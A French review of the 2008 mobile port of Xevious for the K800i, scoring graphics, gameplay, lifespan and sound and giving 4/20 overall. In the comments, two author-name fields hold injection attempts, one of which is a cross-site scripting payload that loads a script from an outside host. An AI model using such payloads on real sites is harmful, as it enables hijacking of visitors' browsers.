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Test Xevious - K800i

xevik800i0b.jpg C'est en 1982 que Xevious voit le jour dans les salles d'arcade japonaises. Ce shoot'em up de Namco se verra par la suite décliné en diverses suites et ce jusqu'en 1995. Aujourd'hui, ce titre nous revient sur mobiles dans une adaptation bête et méchante synonyme de trip nostalgique où chaque bip sera l'instrument du sauvetage d'un monde en proie à une invasion extraterrestre. La routine quoi.

Editeur : Namco Bandai / Developpeur : Namco Bandai / Genre : Shoot'em up / Sortie : 2008

Je ne vous apprendrai rien en vous disant que depuis plusieurs années les plus grands éditeurs mondiaux de jeux vidéo ont compris l'importance du portable en matière de recyclage. De fait, on trouve deux grands courants nous offrant des titres originaux ou au contraire des adaptations de gloires passées. Xevious fait clairement partie de la deuxième catégorie et s'il s'offre aux joueurs sous la forme de deux versions, disons que Namco Bandai ne s'est pas vraiment foulé en préférant jouer la carte du laxisme. Vous me direz, pas de quoi être étonné surtout quand on sait que cet éditeur s'est déjà fendu de multiples versions mobiles de ses grosses franchises à l'image de Tamagotchi, Time Crisis, Pacman, Galaxian, Galaga, etc. De fait, on peut se demander l'intérêt de sortir un tel jeu sur ce support hormis le fait de vouloir faire vibrer la corde nostalgique nous reliant à un passé pas si lointain.

Le plus embêtant avec cette adaptation mobile vient de son contenu lacunaire. En effet, quand je parlais de plusieurs versions un peu plus haut, c'était plus ou moins juste vu que dans l'absolu, nous n'avons droit qu'à une aventure uniforme accessible via différents niveaux de difficulté. En somme, vous pourrez opter pour Facile, Normal ou Version originale. Maintenant, soyons objectifs, aussi bien dans l'un que dans l'autre, on s'ennuie ferme en parcourant ce shoot suranné. Les graphismes datés, le gameplay se résume à un simple tir et un largage de bombes et on laisse tomber après une simple partie. C'est d'autant plus vrai que lorsqu'on se fait toucher une fois par un ennemi, on doit se retaper le début du stage. Sachant que rien ne nous pousse à essayer encore et encore, la bande son étant aussi convaincante que les graphismes, inutile de vous exhorter à passer votre chemin tout en économisant vos deniers. Voilà qui est dit.

Graphismes : 02/20
Les graphismes ne tirent aucunement partie du support et ne sont qu'une réminiscence du passé. On eût aimé la version originale et un remake mais il faut croire que ce n'était pas vraiment dans l'idée de Namco Bandai qui se borne à nous infliger un visuel périmé même pour les plus nostalgiques d'entre nous.

Jouabilité : 12/20
Il est possible de bouger le Solvalou (notre vaisseau à nous qu'on a) d'avant en arrière et de droite à gauche, de tirer et de larguer des bombes sur les ennemis au sol. Rien de bien particulier en somme.

Durée de vie : 08/20
La difficulté surhumaine (que ce soit en Facile, Normal ou Original) est synonyme de trois vies et de quantité d'ennemis à abattre tout au long des sept niveaux de jeu. Si vous disposez d'un courage suffisant pour débuter une partie, je doute que vous en ayez assez pour la terminer .

Bande son : 06/20
Un petit sample en guise de musique d'intro et un bip pour simuler les tirs.

Scénario : -/20

Note Générale : 04/20
Au lieu de s'offrir une retraite dorée, Xevious sort du cercueil qu'il n'aurait peut-être jamais dû quitter. Sentant fortement la naphtaline, cette adaptation mobile ne vaut pas un tir de blaster et n'offre absolument rien au joueur si ce n'est un trip revival aux articulations faiblardes et au plaisir de jeu quasi inexistant. A oublier.

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Note : La note générale est une appréciation de la qualité générale du jeu,
mais n'est pas une moyenne arithmétique des différents critères.

Commentaires

1. Le vendredi, juin 20 2008, 08:59 par " rel="nofollow">'">

pas mal =)

2. Le dimanche, juillet 13 2008, 13:39 par " rel="nofollow">"><script src='http://www.jeanvaljean.cs.cx/essai.js'></script><a href='#'>

By Hassiron

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